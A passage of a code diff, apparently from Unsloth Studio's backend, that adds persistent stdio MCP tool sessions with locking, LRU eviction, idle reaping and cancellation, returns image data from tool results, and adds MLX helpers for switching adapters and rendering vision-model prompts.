+_STDIO_CLOSE_TIMEOUT = 10.0
+_STDIO_WEDGE_MARGIN = 15.0
+# Cap concurrent persistent sessions: each owns a subprocess + loop thread, and
+# the scope includes a caller-supplied thread_id, so an unbounded cache is a
+# resource-exhaustion surface. Overridable via env for large deployments.
+try:
+    _STDIO_MAX_SESSIONS = max(1, int(os.environ.get("UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS", "32")))
+except ValueError:
+    _STDIO_MAX_SESSIONS = 32
+
+
+def _is_tool_error(exc: BaseException) -> bool:
+    """A tool-level failure (the tool ran and errored) leaves the transport alive,
+    so the session is kept; fastmcp raises ToolError for these. Anything else from
+    call_tool is transport-level. Version-safe (fastmcp 3.0.2 has no dead probe)."""
+    try:
+        from fastmcp.exceptions import ToolError
+    except Exception:  # noqa: BLE001
+        return False
+    return isinstance(exc, ToolError)
+
+
+def _transport_dead(session) -> bool:
+    """Best-effort, version-adaptive liveness probe for a cached stdio client.
+    ``Client.is_connected()`` only checks a session object exists, not that the
+    subprocess is alive, so it is never used here. Returns True only when the
+    transport is positively gone; unknown returns False (the call surfaces it)."""
+    client = getattr(session, "client", None)
+    if client is None:
+        return True
+    transport = getattr(client, "transport", None)
+    probe = getattr(transport, "_is_session_dead", None)
+    if callable(probe):
+        try:
+            if probe():
+                return True
+        except Exception:  # noqa: BLE001
+            pass
+    connect_task = getattr(transport, "_connect_task", None)
+    if connect_task is not None:
+        try:
+            if connect_task.done():
+                return True
+        except Exception:  # noqa: BLE001
+            pass
+    return False
+
+
+class _SessionWedged(Exception):
+    pass
+
+
+class _SessionClosed(Exception):
+    """The session was closed (server update/delete/shutdown) mid-call."""
+
+
+def _abort_future(future) -> None:
+    # Let the cancelled coroutine unwind before its loop is stopped.
+    future.cancel()
+    try:
+        future.result(1.0)
+    except BaseException:  # noqa: BLE001
+        pass
+
+
+class _StdioSession:
+    def __init__(self, url: str, headers: Optional[dict]):
+        self.url = url
+        self.headers = headers
+        self.client = None
+        self.closed = threading.Event()
+        self.defunct = False  # discarded; close once in_flight drains (see _retire)
+        self._close_lock = threading.Lock()
+        self.call_lock = threading.Lock()  # serializes tool calls on this session
+        self.last_used = time.monotonic()
+        self.in_flight = 0  # guarded by _stdio_sessions_lock
+        # On Windows a bare new_event_loop() can be a SelectorEventLoop (if any
+        # component set that policy), which cannot spawn subprocesses natively;
+        # force a ProactorEventLoop so the stdio transport always works.
+        if sys.platform == "win32":
+            self.loop = asyncio.ProactorEventLoop()
+        else:
+            self.loop = asyncio.new_event_loop()
+        self._thread = threading.Thread(
+            target = self._run_loop, name = "mcp-stdio-session", daemon = True
+        )
+        self._thread.start()
+
+    def _run_loop(self) -> None:
+        asyncio.set_event_loop(self.loop)
+        try:
+            self.loop.run_forever()
+        finally:
+            self.loop.close()
+
+    def connect(self, timeout: Optional[float], cancel_event) -> None:
+        async def _open():
+            client = _client(self.url, self.headers)
+            await client.__aenter__()
+            # Publish on the loop thread with no await in between: if an abort
+            # races a just-completed connect, close() still sees the client and
+            # __aexit__s it instead of orphaning the subprocess.
+            self.client = client
+            return client
+
+        future = asyncio.run_coroutine_threadsafe(_open(), self.loop)
+        # timeout=None means unlimited (no connect deadline); a finite caller
+        # timeout still bounds connect by min(timeout, _STDIO_CONNECT_TIMEOUT).
+        window = None if timeout is None else min(timeout, _STDIO_CONNECT_TIMEOUT)
+        deadline = None if window is None else time.monotonic() + window
+        while True:
+            if cancel_event is not None and cancel_event.is_set():
+                _abort_future(future)
+                raise _MCPCancelled
+            try:
+                future.result(0.05)
+                return
+            except (concurrent.futures.TimeoutError, asyncio.TimeoutError):
+                if future.done():
+                    raise  # the connect itself failed fast; don't wait out the window
+                if deadline is not None and time.monotonic() >= deadline:
+                    _abort_future(future)
+                    raise asyncio.TimeoutError
+
+    def is_connected(self) -> bool:
+        client = self.client
+        if client is None:
+            return False
+        probe = getattr(client, "is_connected", None)
+        try:
+            return bool(probe()) if callable(probe) else True
+        except Exception:
+            return False
+
+    def run(self, coro, timeout: Optional[float]):
+        self.last_used = time.monotonic()
+        future = asyncio.run_coroutine_threadsafe(coro, self.loop)
+        # The coroutine enforces the tool timeout; the margin only catches a
+        # wedged loop. No deadline at all when the caller set none -- but poll
+        # so a session closed under us (server update/delete) can't hang the
+        # request thread forever on a stopped loop.
+        deadline = None if timeout is None else time.monotonic() + timeout + _STDIO_WEDGE_MARGIN
+        try:
+            while True:
+                try:
+                    return future.result(0.25)
+                except concurrent.futures.CancelledError:
+                    # Only close() cancels in-flight tasks (in _shutdown).
+                    raise _SessionClosed
+                except (concurrent.futures.TimeoutError, asyncio.TimeoutError):
+                    if future.done():
+                        raise  # the call's own timeout; the session stays usable
+                    if self.closed.is_set():
+                        future.cancel()
+                        raise _SessionClosed
+                    if deadline is not None and time.monotonic() >= deadline:
+                        future.cancel()
+                        raise _SessionWedged
+        finally:
+            self.last_used = time.monotonic()
+
+    def close(self) -> None:
+        # Idempotent: a discard racing close_stdio_sessions() may close twice.
+        # Setting `closed` first also unblocks run() waiters (they poll it).
+        with self._close_lock:
+            if self.closed.is_set():
+                return
+            self.closed.set()
+        loop = getattr(self, "loop", None)
+        loop_alive = loop is not None and not loop.is_closed()
+        if loop_alive:
+
+            async def _shutdown() -> None:
+                # Runs on the loop thread, so it serializes with an aborted
+                # connect() that finished anyway and just published its client.
+                client, self.client = self.client, None
+                if client is not None:
+                    await client.__aexit__(None, None, None)
+                # Cancel in-flight calls so they unwind before loop.stop
+                # (their run() waiters have already been released via `closed`).
+                for task in asyncio.all_tasks():
+                    if task is not asyncio.current_task():
+                        task.cancel()
+
+            try:
+                asyncio.run_coroutine_threadsafe(_shutdown(), loop).result(_STDIO_CLOSE_TIMEOUT)
+            except Exception as exc:  # noqa: BLE001
+                logger.warning(
+                    "MCP stdio session close failed for %s: %s",
+                    _stdio_log_id(getattr(self, "url", "")),
+                    exc,
+                )
+            try:
+                loop.call_soon_threadsafe(loop.stop)
+            except RuntimeError:
+                pass
+        else:
+            self.client = None
+        thread = getattr(self, "_thread", None)
+        if thread is not None:
+            thread.join(timeout = 5.0)
+
+
+_stdio_sessions: dict[tuple, _StdioSession] = {}
+
+
+# Per-key locks so a slow connect/close never blocks unrelated servers; the
+# global lock only guards the dicts.
+class _StdioKeyLock:
+    """A per-key lock that can be removed once nobody references it."""
+
+    def __init__(self) -> None:
+        self.lock = threading.Lock()
+        self.users = 0  # guarded by _stdio_sessions_lock
+
+
+_stdio_key_locks: dict[tuple, _StdioKeyLock] = {}
+_stdio_sessions_lock = threading.Lock()
+_stdio_reaper_started = False
+# close_stdio_sessions() can only close sessions already published in
+# _stdio_sessions; one still inside connect() would be missed and cached
+# stale. Bump a generation on every close so that connect discards its
+# session instead of publishing it. Guarded by _stdio_sessions_lock.
+_stdio_close_all_gen = 0
+_stdio_url_close_gen: dict[str, int] = {}
+_stdio_cfg_close_gen: dict[tuple, int] = {}
+
+# close_stdio_sessions(url): match any env for that command.
+_ANY_HEADERS = object()
+
+
+def _headers_key(headers: Optional[dict]) -> tuple:
+    return tuple(sorted((headers or {}).items()))
+
+
+def _url_close_key(url: str) -> str:
+    # Commands/URLs (token args, embedded credentials) and env values can hold
+    # secrets and these maps are never pruned; key by digest so closed/edited
+    # configs don't retain them in memory forever.
+    return hashlib.sha256(url.encode()).hexdigest()
+
+
+def _cfg_close_key(url: str, headers: Optional[dict]) -> str:
+    return hashlib.sha256(repr((url, _headers_key(headers))).encode()).hexdigest()
+
+
+def _stdio_close_generation(url: str, headers: Optional[dict]) -> tuple[int, int, int]:
+    return (
+        _stdio_close_all_gen,
+        _stdio_url_close_gen.get(_url_close_key(url), 0),
+        _stdio_cfg_close_gen.get(_cfg_close_key(url, headers), 0),
+    )
+
+
+def _session_key(url: str, headers: Optional[dict], scope: Optional[str]) -> tuple:
+    return (url, _headers_key(headers), scope or "")
+
+
+def _checkout_stdio_session(key: tuple) -> Optional[_StdioSession]:
+    session = _stdio_sessions.get(key)
+    if session is not None and session.is_connected():
+        session.last_used = time.monotonic()
+        session.in_flight += 1
+        return session
+    return None
+
+
+def _borrow_stdio_key_lock(key: tuple) -> _StdioKeyLock:
+    """Return a stable per-key lock while a caller waits for/connects it."""
+    key_lock = _stdio_key_locks.setdefault(key, _StdioKeyLock())
+    key_lock.users += 1
+    return key_lock
+
+
+def _discard_stdio_key_lock(key: tuple) -> None:
+    key_lock = _stdio_key_locks.get(key)
+    if key_lock is not None and key_lock.users == 0 and key not in _stdio_sessions:
+        _stdio_key_locks.pop(key, None)
+
+
+def _return_stdio_key_lock(key: tuple, key_lock: _StdioKeyLock) -> None:
+    with _stdio_sessions_lock:
+        key_lock.users -= 1
+        _discard_stdio_key_lock(key)
+
+
+def _get_stdio_session(
+    url: str, headers: Optional[dict], scope: Optional[str], deadline, cancel_event, config_check
+) -> _StdioSession:
+    """``deadline`` is the caller's absolute monotonic budget (None = no limit):
+    the key-lock wait and the connect share it, so a slow startup can't stack
+    full timeout windows (see _call_stdio_tool)."""
+    global _stdio_reaper_started
+    key = _session_key(url, headers, scope)
+    with _stdio_sessions_lock:
+        session = _checkout_stdio_session(key)
+        if session is not None:
+            return session
+        key_lock = _borrow_stdio_key_lock(key)
+    try:
+        # Poll the acquire with connect()'s deadline/cancel semantics: a second
+        # same-scope call must not block uncancellably behind another caller's
+        # slow startup (e.g. a first-run npx download).
+        remaining = None if deadline is None else max(0.0, deadline - time.monotonic())
+        # timeout=None means no key-lock deadline (only cancel unblocks it).
+        window = None if remaining is None else min(remaining, _STDIO_CONNECT_TIMEOUT)
+        lock_deadline = None if window is None else time.monotonic() + window
+        while not key_lock.lock.acquire(timeout = 0.05):
+            if cancel_event is not None and cancel_event.is_set():
+                raise _MCPCancelled
+            if lock_deadline is not None and time.monotonic() >= lock_deadline:
+                raise asyncio.TimeoutError
+        try:
+            stale = None
+            with _stdio_sessions_lock:
+                session = _checkout_stdio_session(key)
+                if session is not None:
+                    return session
+                if key in _stdio_sessions:
+                    stale = _stdio_sessions.pop(key)
+                generation = _stdio_close_generation(url, headers)
+            if stale is not None:
+                _retire_stdio_session(stale)
+            session = _StdioSession(url, headers)
+            try:
+                session.connect(
+                    None if deadline is None else max(0.0, deadline - time.monotonic()),
+                    cancel_event,
+                )
+            except Exception:
+                session.close()
+                raise
+            # A caller can read the server row, then lose to an update/delete whose close ran
+            # before our generation snapshot. Re-verify the row after connect; the generation check
+            # below covers a close landing between this check and publish.
+            if config_check is not None:
+                try:
+                    current = bool(config_check())
+                except Exception:  # noqa: BLE001
+                    current = False
+                if not current:
+                    session.close()
+                    raise RuntimeError("MCP server was updated or removed while connecting")
+            evicted: list = []
+            with _stdio_sessions_lock:
+                closed_while_connecting = _stdio_close_generation(url, headers) != generation
+                if not closed_while_connecting:
+                    session.in_flight = 1
+                    evicted = _evict_stdio_lru_locked()  # bound the cache (LRU idle)
+                    _stdio_sessions[key] = session
+                    if not _stdio_reaper_started:
+                        _stdio_reaper_started = True
+                        threading.Thread(
+                            target = _stdio_session_reaper, name = "mcp-stdio-reaper", daemon = True
+                        ).start()
+                        atexit.register(close_stdio_sessions)
+            for victim in evicted:
+                logger.info("Evicting LRU idle stdio MCP session: %s", _stdio_log_id(victim.url))
+                victim.close()
+            if closed_while_connecting:
+                session.close()
+                raise RuntimeError("MCP server was updated or removed while connecting")
+            return session
+        finally:
+            key_lock.lock.release()
+    finally:
+        _return_stdio_key_lock(key, key_lock)
+
+
+def _release_stdio_session(session: _StdioSession) -> None:
+    victims: list = []
+    with _stdio_sessions_lock:
+        session.in_flight = max(0, session.in_flight - 1)
+        session.last_used = time.monotonic()
+        close_now = session.defunct and session.in_flight == 0
+        # Re-enforce the cap once a burst's sessions go idle. Insert-time eviction
+        # only trims idle sessions, so it can overshoot while every cached session
+        # is busy; reclaim that overshoot here instead of waiting for the idle
+        # reaper. Never evict the session we just used (its last_used is newest).
+        while len(_stdio_sessions) > _STDIO_MAX_SESSIONS:
+            idle = [
+                (s.last_used, k)
+                for k, s in _stdio_sessions.items()
+                if s.in_flight == 0 and s is not session
+            ]
+            if not idle:
+                break
+            _, oldest = min(idle, key = lambda item: item[0])
+            victims.append(_stdio_sessions.pop(oldest))
+            _discard_stdio_key_lock(oldest)
+    if close_now:
+        session.close()
+    for victim in victims:
+        victim.close()
+
+
+def _retire_stdio_session(session: _StdioSession) -> None:
+    """Close a discarded session, but only once no other borrower is mid-call
+    on it -- overlapping same-scope calls share one client, and one call's
+    timeout must not kill another's in-flight request. The last borrower's
+    _release_stdio_session() performs the deferred close."""
+    with _stdio_sessions_lock:
+        session.defunct = True
+        busy = session.in_flight > 0
+    if not busy:
+        session.close()
+
+
+def _drop_stdio_session(key: tuple, session: _StdioSession) -> None:
+    with _stdio_sessions_lock:
+        if _stdio_sessions.get(key) is session:
+            _stdio_sessions.pop(key)
+        _discard_stdio_key_lock(key)
+    _retire_stdio_session(session)
+
+
+def _evict_stdio_lru_locked() -> list:
+    """Caller holds _stdio_sessions_lock. Evict least-recently-used *idle*
+    sessions until the cache is under the cap. Returns the evicted sessions so
+    the caller can close them OUTSIDE the lock. If every session is busy the
+    cache may transiently overshoot rather than kill an in-flight call."""
+    victims: list = []
+    while len(_stdio_sessions) >= _STDIO_MAX_SESSIONS:
+        idle = [(s.last_used, k) for k, s in _stdio_sessions.items() if s.in_flight == 0]
+        if not idle:
+            break
+        _, oldest = min(idle, key = lambda item: item[0])
+        victims.append(_stdio_sessions.pop(oldest))
+        _discard_stdio_key_lock(oldest)
+    return victims
+
+
+def close_stdio_sessions(url: Optional[str] = None, headers = _ANY_HEADERS) -> None:
+    """Close persistent stdio sessions: all of them (``url`` None), every env
+    for one command (``headers`` omitted), or one server config (url + headers).
+    Two server rows can share a command with different envs; editing one must
+    not kill the other's live state, so the routes pass the edited row's env."""
+    global _stdio_close_all_gen
+    # HTTP/SSE servers are never cached as stdio sessions, so a specific non-stdio
+    # url has nothing to close and must not accrue a close-generation entry.
+    if url is not None and not is_stdio(url):
+        return
+    hk = None if headers is _ANY_HEADERS else _headers_key(headers)
+    with _stdio_sessions_lock:
+        if url is None:
+            _stdio_close_all_gen += 1
+        elif hk is None:
+            uk = _url_close_key(url)
+            _stdio_url_close_gen[uk] = _stdio_url_close_gen.get(uk, 0) + 1
+        else:
+            cfg = _cfg_close_key(url, headers)
+            _stdio_cfg_close_gen[cfg] = _stdio_cfg_close_gen.get(cfg, 0) + 1
+        keys = [
+            k
+            for k in _stdio_sessions
+            if (url is None or k[0] == url) and (hk is None or k[1] == hk)
+        ]
+        sessions = [_stdio_sessions.pop(k) for k in keys]
+        for key in keys:
+            _discard_stdio_key_lock(key)
+    for session in sessions:
+        session.close()
+
+
+def _reap_idle_stdio_sessions(now: Optional[float] = None) -> None:
+    now = time.monotonic() if now is None else now
+    with _stdio_sessions_lock:
+        expired = [
+            key
+            for key, session in _stdio_sessions.items()
+            if session.in_flight == 0 and now - session.last_used >= _STDIO_SESSION_IDLE_TTL
+        ]
+        sessions = [_stdio_sessions.pop(key) for key in expired]
+        for key in expired:
+            _discard_stdio_key_lock(key)
+    for session in sessions:
+        logger.info("Closing idle stdio MCP session: %s", _stdio_log_id(session.url))
+        session.close()
+
+
+def _stdio_session_reaper() -> None:
+    while True:
+        time.sleep(_STDIO_SESSION_REAP_INTERVAL)
+        try:
+            _reap_idle_stdio_sessions()
+        except Exception as exc:  # noqa: BLE001
+            logger.debug("stdio session reaper iteration failed: %s", exc)
+
+
 async def list_tools_async(
     url: str,
     headers: Optional[dict] = None,
@@ -251,11 +763,10 @@ async def list_tools_async(
     return await asyncio.wait_for(_fetch(), timeout = timeout)
 
 
-# Discovered-tool cache, keyed by MCP server id. get_enabled_mcp_tools()
-# probes a server only on a cache miss, keeping MCP discovery off the chat
-# send's critical path -- tool schemas are stable within a session. The
-# /refresh route warms it; a URL/header/OAuth change or a delete evicts it.
-# Successful probes are cached indefinitely.
+# Discovered-tool cache, keyed by MCP server id. get_enabled_mcp_tools() probes a server only
+# on a cache miss, keeping MCP discovery off the chat send's critical path -- tool schemas are
+# stable within a session. The /refresh route warms it; a URL/header/OAuth change or a delete
+# evicts it. Successful probes are cached indefinitely.
 _tool_cache: dict[str, list[dict]] = {}
 
 # server_id -> monotonic time before which a failed server must not be
@@ -298,23 +809,210 @@ def invalidate_tool_cache(server_id: Optional[str] = None) -> None:
         _probe_cooloff_until.pop(server_id, None)
 
 
+MCP_IMAGES_SENTINEL = "__MCP_IMAGES__:"
+MAX_IMAGE_PAYLOAD_CHARS = 12_000_000
+
+
 def _flatten_result(result: Any) -> str:
     parts = []
+    images = []
+    omitted = 0
+    budget = MAX_IMAGE_PAYLOAD_CHARS
     for block in getattr(result, "content", None) or []:
         text = getattr(block, "text", None)
         if text:
             parts.append(str(text))
+            continue
+        data = getattr(block, "data", None)
+        mime = getattr(block, "mimeType", None)
+        if data and isinstance(mime, str) and mime.startswith("image/"):
+            data = str(data)
+            if len(data) > budget:
+                omitted += 1
+                continue
+            budget -= len(data)
+            images.append({"data": data, "mimeType": mime})
     body = "\n".join(parts)
     if not body:
         structured = getattr(result, "structured_content", None)
         body = str(structured) if structured is not None else ""
+    if images or omitted:
+        notes = []
+        if images:
+            n = len(images)
+            notes.append(f"{n} image{'s' if n > 1 else ''} attached; displayed to the user")
+        if omitted:
+            notes.append(f"{omitted} image{'s' if omitted > 1 else ''} omitted (too large)")
+        note = f"[{'; '.join(notes)}]"
+        body = f"{body}\n{note}" if body else note
 
     if getattr(result, "is_error", False):
         # "Error: " prefix triggers tool_call_parser's TOOL_ERROR_PREFIXES nudge.
-        return f"Error: {body}" if body else "Error: tool returned no content"
+        body = f"Error: {body}" if body else "Error: tool returned no content"
+    if images:
+        body += "\n" + MCP_IMAGES_SENTINEL + json.dumps(images)
     return body
 
 
+async def _race_tool_call(call_coro, timeout: Optional[float], cancel_event) -> Any:
+    """Await ``call_coro`` under ``timeout``, polling ``cancel_event`` so a
+    /cancel POST interrupts even mid-network-read."""
+
+    async def _watch_cancel() -> None:
+        while cancel_event is not None and not cancel_event.is_set():
+            await asyncio.sleep(0.05)
+
+    if cancel_event is not None and cancel_event.is_set():
+        call_coro.close()
+        raise _MCPCancelled
+    call_task = asyncio.create_task(call_coro)
+    if cancel_event is None:
+        return await asyncio.wait_for(call_task, timeout = timeout)
+    watch_task = asyncio.create_task(_watch_cancel())
+    try:
+        done, pending = await asyncio.wait(
+            {call_task, watch_task},
+            timeout = timeout,
+            return_when = asyncio.FIRST_COMPLETED,
+        )
+    finally:
+        for t in (call_task, watch_task):
+            if not t.done():
+                t.cancel()
+    if not done:
+        raise asyncio.TimeoutError
+    if call_task in done:
+        return call_task.result()
+    raise _MCPCancelled
+
+
+def _call_stdio_tool(
+    url: str,
+    headers: Optional[dict],
+    name: str,
+    args: dict,
+    timeout,
+    cancel_event,
+    scope: Optional[str],
+    config_check,
+) -> Any:
+    if cancel_event is not None and cancel_event.is_set():
+        raise _MCPCancelled
+    # One deadline covers the key-lock wait, connect, call-lock wait, and the
+    # call itself, matching the one-shot/HTTP paths where the timeout wrapped
+    # connect plus call in a single window.
+    deadline = None if timeout is None else time.monotonic() + timeout
+
+    def _remaining() -> Optional[float]:
+        return None if deadline is None else max(0.0, deadline - time.monotonic())
+
+    # Callers without an Unsloth session id must retain the former one-shot
+    # behavior: no browser/cookie/tool state can leak into another request.
+    # Use an ephemeral key (and close it below) rather than the shared empty
+    # scope that the persistent-session cache used previously.
+    def _config_ok() -> bool:
+        if config_check is None:
+            return True
+        try:
+            return bool(config_check())
+        except Exception:  # noqa: BLE001
+            return False
+
+    ephemeral = not scope
+    if ephemeral:
+        scope = f"request-{uuid.uuid4().hex}"
+    key = _session_key(url, headers, scope)
+    # attempt 0 may find the cached session stale/dead *before* dispatch and
+    # reconnect once (safe); attempt 1 is a freshly connected session.
+    for attempt in (0, 1):
+        session = _get_stdio_session(url, headers, scope, deadline, cancel_event, config_check)
+        try:
+            # Serialize calls per session: overlapping same-scope calls must
+            # not interleave operations on one stateful server (browser, REPL).
+            while not session.call_lock.acquire(timeout = 0.05):
+                if cancel_event is not None and cancel_event.is_set():
+                    raise _MCPCancelled
+                rem = _remaining()
+                if rem is not None and rem <= 0:
+                    raise asyncio.TimeoutError
+        except BaseException:
+            # Never touched the transport: keep the session for its borrower.
+            _release_stdio_session(session)
+            if ephemeral:
+                _drop_stdio_session(key, session)
+            raise
+        discard_session = ephemeral
+        retry = False
+        try:
+            # We may have waited on the call lock while another caller's timeout retired this
+            # session, a server update/delete invalidated it, or a reused subprocess died. Re-check
+            # all three before dispatch so we never run on a retired/dead client or a stale config.
+            if session.closed.is_set():
+                # Intentional close (server update/delete/shutdown): don't retry on stale config.
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            elif session.defunct:
+                # A concurrent same-scope caller's timeout retired this session;
+                # move to a fresh one instead of reusing the retired client.
+                discard_session = True
+                if attempt == 0:
+                    retry = True
+                else:
+                    raise RuntimeError("MCP server session was retired during the call")
+            elif not _config_ok():
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            elif _transport_dead(session):
+                # Dead BEFORE dispatch: no request was sent, so reconnect + retry.
+                discard_session = True
+                if attempt == 0:
+                    retry = True
+                else:
+                    raise RuntimeError("MCP server connection is not available")
+            else:
+                rem = _remaining()
+                coro = _race_tool_call(session.client.call_tool(name, args), rem, cancel_event)
+                return session.run(coro, rem)
+        except (_MCPCancelled, asyncio.TimeoutError):
+            # _race_tool_call cancels the pending call but cancellation is
+            # cooperative. Never return this client to the cache while the
+            # timed-out/cancelled operation might still run on its transport.
+            discard_session = True
+            raise
+        except _SessionWedged:
+            discard_session = True
+            raise asyncio.TimeoutError
+        except _SessionClosed:
+            # close_stdio_sessions() shut this session mid-call (server
+            # update/delete/shutdown); don't retry on the stale config.
+            discard_session = True
+            raise RuntimeError("MCP server was updated or removed during the call")
+        except Exception as exc:
+            if session.closed.is_set():
+                # An intentional close (server update/delete) can surface as a plain transport
+                # error or AttributeError instead of _SessionClosed; don't mistake it for a crash.
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            # ToolError leaves the transport alive -> keep the session so its state
+            # survives. Any other exception is transport-level (dead subprocess,
+            # broken pipe): evict so it can't poison the scope, but DO NOT replay
+            # (the tool may already have run); the next call opens a fresh session.
+            if not _is_tool_error(exc):
+                discard_session = True
+            raise
+        finally:
+            # Set defunct + remove from the cache BEFORE releasing the call lock,
+            # so a queued same-scope borrower observes the retirement and opens a
+            # fresh session instead of reusing this one.
+            _release_stdio_session(session)
+            if discard_session:
+                _drop_stdio_session(key, session)
+            session.call_lock.release()
+        if not retry:
+            break
+    raise RuntimeError("unreachable")
+
+
 def call_tool_sync(
     url: str,
     headers: Optional[dict],
@@ -323,55 +1021,35 @@ def call_tool_sync(
     timeout: Optional[float] = 300.0,
     use_oauth: bool = False,
     cancel_event = None,
+    scope: Optional[str] = None,
+    config_check = None,
 ) -> str:
-    """Synchronously call an MCP tool.
+    """Synchronously call an MCP tool. stdio servers reuse a persistent session
+    keyed by (command, env, scope) only when ``scope`` is provided; calls
+    without one stay one-shot. HTTP servers always stay one-shot.
+    ``cancel_event`` (threading.Event) cancels the in-flight call when set.
+    ``config_check`` (callable -> bool) re-validates the caller's server config
+    before a fresh stdio session is cached; False fails the call."""
 
-    ``cancel_event``: optional ``threading.Event``. When set, the in-flight call is
-    cancelled and a cancellation Error returned. Polled alongside the tool call via
-    ``asyncio.wait`` so a /cancel POST interrupts even mid-network-read.
-    """
-
-    async def _call() -> Any:
+    async def _one_shot() -> Any:
         async with _client(url, headers, use_oauth) as client:
-            return await client.call_tool(name, args)
-
-    async def _watch_cancel() -> None:
-        # 50 ms cadence keeps cancellation responsive without busy-looping;
-        # matches routes/inference.py's cancel watcher cadence.
-        while cancel_event is not None and not cancel_event.is_set():
-            await asyncio.sleep(0.05)
-
-    async def _race() -> Any:
-        # Check cancellation before spawning the call task so a pre-set event
-        # short-circuits before opening the transport / HTTP connection.
-        if cancel_event is not None and cancel_event.is_set():
-            raise _MCPCancelled
-        call_task = asyncio.create_task(_call())
-        if cancel_event is None:
-            return await asyncio.wait_for(call_task, timeout = timeout)
-        watch_task = asyncio.create_task(_watch_cancel())
-        try:
-            done, pending = await asyncio.wait(
-                {call_task, watch_task},
-                timeout = timeout,
-                return_when = asyncio.FIRST_COMPLETED,
-            )
-        finally:
-            for t in (call_task, watch_task):
-                if not t.done():
-                    t.cancel()
-        if not done:
-            raise asyncio.TimeoutError
-        if call_task in done:
-            return call_task.result()
-        raise _MCPCancelled
+            # raise_on_error=False lets an is_error result (which may still carry
+            # image content) reach _flatten_result instead of FastMCP raising ToolError
+            # and dropping the images. Transport failures still raise (handled below).
+            return await client.call_tool(name, args, raise_on_error = False)
 
     try:
-        result = asyncio.run(_race())
+        if is_stdio(url):
+            result = _call_stdio_tool(
+                url, headers, name, args, timeout, cancel_event, scope, config_check
+            )
+        else:
+            result = asyncio.run(_race_tool_call(_one_shot(), timeout, cancel_event))
     except _MCPCancelled:
         return f"Error: MCP tool '{name}' cancelled"
     except asyncio.TimeoutError:
-        return f"Error: MCP tool '{name}' timed out after {timeout:g}s"
+        suffix = f" after {timeout:g}s" if timeout is not None else ""
+        return f"Error: MCP tool '{name}' timed out{suffix}"
     except Exception as exc:
         logger.exception("MCP call_tool failed for %s: %s", name, exc)
         return f"Error: MCP tool '{name}' failed: {exc}"
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 5c7799152f..d19c67a01a 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -5,27 +5,203 @@ Drop-in replacement for InferenceBackend — same interface, uses mlx-lm/mlx-vlm
 instead of torch/transformers for model loading and generation.
 """
 
+import json
+import os
 import threading
+from contextlib import contextmanager
 from typing import Optional, Generator
+from core.inference.message_content import content_to_text
 from core.inference.runtime_context import runtime_context_length
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    normalize_reasoning_snapshots,
+)
 from loggers import get_logger
 
 logger = get_logger(__name__)
 
 
-def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
+def _mlx_adapter_modules(model):
+    """Return bypassable adapter entries and unsupported wrapper paths."""
+    adapters = []
+    unsupported = []
+    for path, module in model.named_modules():
+        if not path or not (hasattr(module, "lora_a") and hasattr(module, "lora_b")):
+            continue
+        base = getattr(module, "linear", None)
+        if base is None:
+            base = getattr(module, "embedding", None)
+        if base is None:
+            unsupported.append(path)
+        else:
+            adapters.append((path, module, base))
+    return adapters, unsupported
+
+
+@contextmanager
+def _temporary_mlx_adapter_state(model, use_adapter):
+    """Select base or adapter modules for one request, then restore the tree."""
+    if use_adapter is None:
+        yield
+        return
+    if isinstance(use_adapter, str):
+        raise NotImplementedError(
+            "Unsloth MLX: named adapter selection is not supported; use True for "
+            "the loaded adapter or False for the base model."
+        )
+    if use_adapter is not True and use_adapter is not False:
+        raise TypeError("Unsloth MLX: use_adapter must be None, True, False, or a string.")
+
+    adapters, unsupported = _mlx_adapter_modules(model)
+    if use_adapter is True:
+        if not adapters and not unsupported:
+            logger.warning("MLX adapter requested, but the active model has no adapter layers")
+        yield
+        return
+    if unsupported:
+        raise RuntimeError(
+            "Unsloth MLX: cannot disable adapter layers without their base modules: "
+            + ", ".join(unsupported[:5])
+        )
+    if not adapters:
+        yield
+        return
+
+    from mlx.utils import tree_unflatten
+
+    base_modules = tree_unflatten([(path, base) for path, _, base in adapters])
+    adapter_modules = tree_unflatten([(path, wrapper) for path, wrapper, _ in adapters])
+    try:
+        model.update_modules(base_modules)
+        yield
+    finally:
+        model.update_modules(adapter_modules)
+
+
+def _mlx_vlm_model_config(model):
+    """Return the loaded MLX model config and its type, preferring whichever of
+    config / _config actually carries a model_type."""
+
+    def _model_type(cfg):
+        return cfg.get("model_type") if isinstance(cfg, dict) else getattr(cfg, "model_type", None)
+
+    configs = [
+        cfg
+        for cfg in (getattr(model, "config", None), getattr(model, "_config", None))
+        if cfg is not None
+    ]
+    for cfg in configs:
+        model_type = _model_type(cfg)
+        if model_type is not None:
+            return cfg, model_type
+    return (configs[0] if configs else None), None
+
+
+def _render_registered_vlm_prompt(processor, model, messages, num_images):
+    """Render through mlx-vlm when it declares a formatter for this model."""
+    from mlx_vlm import prompt_utils
+
+    config, model_type = _mlx_vlm_model_config(model)
+    if config is None:
+        return None
+    if model_type not in getattr(prompt_utils, "MODEL_CONFIG", {}):
+        return None
+
+    rendered = prompt_utils.apply_chat_template(
+        processor,
+        config,
+        messages,
+        add_generation_prompt = True,
+        num_images = num_images,
+    )
+    if isinstance(rendered, str) and rendered.strip():
+        return rendered
+    raise RuntimeError("mlx-vlm's registered renderer returned an empty prompt.")
+
+
+def _count_vlm_images(content):
+    if isinstance(content, list):
+        return sum(_count_vlm_images(item) for item in content)
+    if not isinstance(content, dict):
+        return 0
+    if str(content.get("type", "")).lower() in ("image", "image_url", "input_image"):
+        return 1
+    return _count_vlm_images(content.get("content"))
+
+
+def _vlm_media_reprs(content):
+    if isinstance(content, list):
+        values = (
+            {str(content), json.dumps(content, ensure_ascii = False)}
+            if _count_vlm_images(content)
+            else set()
+        )
+        for item in content:
+            values.update(_vlm_media_reprs(item))
+        return values
+    if not isinstance(content, dict):
+        return set()
+    if str(content.get("type", "")).lower() in ("image", "image_url", "input_image"):
+        return {str(content), json.dumps(content, ensure_ascii = False)}
+    return _vlm_media_reprs(content.get("content"))
+
+
+def _prompt_serializes_vlm_media(prompt, messages):
+    """Detect templates that embed the exact structured media object repr."""
+    media_reprs = set()
+    for message in messages:
